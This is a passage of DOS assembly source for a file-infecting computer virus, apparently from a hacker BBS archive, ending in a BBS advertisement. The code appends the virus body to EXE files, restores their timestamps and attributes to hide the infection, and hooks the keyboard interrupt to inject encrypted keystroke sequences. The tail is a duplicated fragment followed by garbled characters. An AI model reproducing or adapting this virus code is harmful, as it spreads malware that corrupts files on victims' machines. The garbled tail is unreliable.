BP0480: JB BP 0490 ; Follow chain of error branches
MOV CX , 1CH ; Length of EXE header
MOV DX , OFFSET EXEHED ; .EXE header store
MOV AH , 40H ; Write handle
INT 21H ; DOS service (Write handle)
BP0490: JB BP 0500 ; Follow chain of error branches
CMP AX , CX ; Has same length been written
JNE BP 0510 ; Branch if not
MOV DX , F_SIZ1 ; Low-order file size
MOV CX , F_SIZ2 ; High-order file size
MOV AX , 4200H ; Move file pointer
INT 21H ; DOS service (Move pointer)
BP0500: JB BP 0510 ; Follow chain of error branches
XOR DX , DX ; Address beginning of virus
MOV CX , OFFSET ENDADR ; Length of virus
MOV AH , 40H ; Write handle
INT 21H ; DOS service (Write handle)
ASSUME DS : NOTHING
BP0510: CMP MEM_SW , 0 ; Test memory allocated switch
JE BP 0520 ; Branch if off
MOV AH , 49H ; Free allocated memory
INT 21H ; DOS service (Free memory)
BP0520: CMP F_HAND , - 1 ; Test file handle
JE BP 0530 ; Terminate if none
MOV BX , F_HAND ; Get file handle
MOV DX , F_DATE ; Get file date
MOV CX , F_TIME ; Get file time
MOV AX , 5701H ; Set file date and time
INT 21H ; DOS service (Set file date)
MOV AH , 3EH ; Close handle
INT 21H ; DOS service (Close handle)
LDS DX , F_PATH ; Address program pathname
MOV CX , F_ATTS ; Load file attributes
MOV AX , 4301H ; Set file attributes
INT 21H ; DOS service (Set attributes)
LDS DX , INT_24 ; Original interrupt 24H address
MOV AX , 2524H ; Set interrupt 24H
INT 21H ; DOS service (Set int)
BP0530: POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
JMP INT_21 ; Interrupt 21H
; Interrupt 16H routine
BP0540: PUSHF ; Fake an interrupt
CMP AH , 0 ; Get a token function?
JE BP 0550 ; Branch if yes
POPF ; Fake interrupt not needed
JMP INT_16 ; Pass on to original interrupt
BP0550: CALL INT_16 ; Deal with original interrupt
PUSH AX
PUSH BX
PUSH DI
PUSH DS
PUSH ES
PUSH CS ; \ Set DS to CS
POP DS ; /
XOR BX , BX ; \ Set ES to zero
MOV ES , BX ; /
ASSUME DS : CODE , ES : RAM
CMP OUT_SW , 0 ; Is output switch on?
JNE BP 0630 ; Branch if yes
OR AL , 20H ; Convert to lower case
XOR AL , 0AFH ; Decrypt character
MOV DI , OFFSET TABLE ; Address first entry
BP0560: CMP BYTE PTR [ DI ], 0 ; Is this the end of the table?
JE BP 0590 ; Branch if yes
XOR BX , BX ; Clear register
MOV BL ,[ DI + 1 ] ; Get current character pointer
ADD BX ,[ DI + 2 ] ; Add current entry pointer
CMP AL ,[ BX ] ; Is character the one we want?
JE BP 0570 ; Branch if yes
MOV BYTE PTR [ DI + 1 ], 0 ; Clear character pointer
JMP BP 0580
BP0570: INC BYTE PTR [ DI + 1 ]
BP0580: ADD DI , 4 ; Next entry
JMP BP 0560 ; Process next entry
BP0590: MOV DI , OFFSET TABLE ; Address first entry
BP0600: CMP BYTE PTR [ DI ], 0 ; Is this the end of the table?
JE BP 0610 ; Branch if yes
MOV AL ,[ DI + 1 ] ; Get current character pointer
CMP AL ,[ DI ] ; Do we have a complete match?
JNE BP 0620 ; Branch if not
MOV TABOUT , DI ; Save relevant pointer
INC OUT_SW ; Set on output switch
MOV AX , 40H ; \ Address RAM
MOV ES , AX ; /
ASSUME ES : RAM40
MOV AX , BW041A ; Get key token in pointer
MOV BW041C , AX ; Set key token out pointer
CALL BP 0640 ; Put a character into the buffer
BP0610: POP ES
POP DS
POP DI
POP BX
POP AX
IRET
BP0620: ADD DI , 4 ; Next entry
JMP BP 0600 ; Process next entry
BP0630: MOV AX , 40H ; \ Address RAM
MOV ES , AX ; /
CALL BP 0640 ; Put a character into the buffer
XOR BX , BX ; Clear register
MOV BL ,[ DI + 1 ] ; Get current character pointer
ADD BX ,[ DI + 2 ] ; Add entry pointer
CMP BYTE PTR [ BX ], 0 ; Was that the last character?
JNE BP 0610 ; Branch if not
MOV OUT_SW , 0 ; Set off output switch
JMP BP 0610
BP0640: MOV DI , TABOUT ; Address relevant table entry
XOR BX , BX ; Clear register
MOV BL ,[ DI + 1 ] ; Get current character pointer
ADD BX ,[ DI + 2 ] ; Add entry pointer
MOV AL ,[ BX ] ; Get the character
XOR AL , 0AFH ; Decrypt character
INC BYTE PTR [ DI + 1 ] ; Next character
MOV AH , AL ; Copy for translate
MOV BX , OFFSET KEYTAB ; Address key number table
XLAT ; Get key number
XCHG AH , AL ; Reserve order
MOV BX , BW041C ; Get key token out pointer
MOV ES :[ BX ], AX ; Put key token into buffer
INC BX ; \ Next buffer position
INC BX ; /
CMP BX , BW0482 ; Passed end of buffer?
JNE BP 0650 ; Branch if not
MOV BX , BW0480 ; Get buffer start
BP0650: MOV BW041C , BX ; Save new key token out pointer
RET
; Stack area - This is also necessary to make the virus a complete
; number of paragraphs
DB 04CH , 002H , 0AAH , 031H , 09EH , 002H , 0A5H , 031H
ENDADR EQU $
CODE ENDS
END START
ete
; number of paragraphs
DB 04CH ,
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>